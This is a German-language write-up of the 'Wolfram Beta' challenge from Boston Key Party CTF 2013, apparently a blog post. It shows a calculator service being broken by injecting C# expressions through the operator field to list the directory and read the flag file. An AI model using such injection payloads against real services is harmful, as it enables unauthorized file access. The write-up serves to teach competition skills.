Boston Key Party CTF 2013 – wolfram beta

Boston Key Party 2013 - Wolfram Beta - task description

Diese Challenge (Wolfram Beta) verlangt, dass wir aus einem Berechnungsdienst ausbrechen und die Flagge auslesen. Dieser Dienst soll unter der angegebenen IP-Adresse lauschen, was wir sofort überprüfen.

rup0rt@lambda:~/BostonKeyParty2013$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: +
second num: 2
Thinking...
.
Done Thinking!
3

Der Rechner fordert uns also zur Eingabe von zwei Zahlen und einem Operator auf. Nach einer Denkphase, die wohl auf Wolfram Alpha anspielen soll, wird uns das Ergebnis ausgegeben.

Beim Versuch anstatt der Zahlen Buchstaben oder Sonderzeichen zu übergeben, wird die Verbindung sofort mit einem entsprechenden Verbot abgebrochen. Der Operator jedoch lässt sich nach einigen Versuchen so manipulieren, dass eine Fehlerausgabe erscheint:

first num: 1
operator: +asfetrrr
second num: 2
Thinking...
.
Done Thinking!
{interactive}(1,14): error CS0119: Expression denotes a `type', where a `method group' was expected

Unhandled Exception: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
[ERROR] FATAL UNHANDLED EXCEPTION: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0

Wir erkennen, dass es sich um ein C#-Programm (Csharp) handelt. Außerdem wird MONO verwendet, also die Linux-Variante von C#. Zur Auswertung des übergebenen Ausdrucks wird die Evaluate-Funktion aufgerufen. Damit könnte es also möglich sein, einen Operator zu übergeben, der testweise Zeichenketten konkateniert.

first num: 1
operator: +"test"+
second num: 2
Thinking...

Done Thinking!
1test2

Wenn sich als Operator Zeichenketten einfügen lassen, dann sollten sich hier auch Funktionen, die Strings zurückliefern, einbinden lassen. Die Suche im Internet führt zur C#-Funktion Directory.GetFiles(), die uns über folgenden Aufruf, den Verzeichnisinhalt auflisten sollte:

first num: 1
operator: +string.Join(",", System.IO.Directory.GetFiles(@"."))+
second num: 2
Thinking...
.....
Done Thinking!
1./.bash_history,./.bash_logout,./.bashrc,./.profile,./flag2

Demnach gibt es im aktuellen Verzeichnis also eine Datei namens “flag”. Diese wollen wir nun auslesen. Dazu suchen wir erneut nach Möglichkeiten und finden die C#-Funktion StreamReader.ReadToEnd(), die wir wie folgt aufrufen:

first num: 1
operator: +new System.IO.StreamReader(@"./flag").ReadToEnd()+
second num: 2
Thinking...

Done Thinking!
1at_least_its_not_a_python_jail
2

Auch das war hier erfolgreich und wir konnten die Flagge erhalten!

Die Lösung lautet “at_least_its_not_a_python_jail“.

Leave a Reply

Your email address will not be published.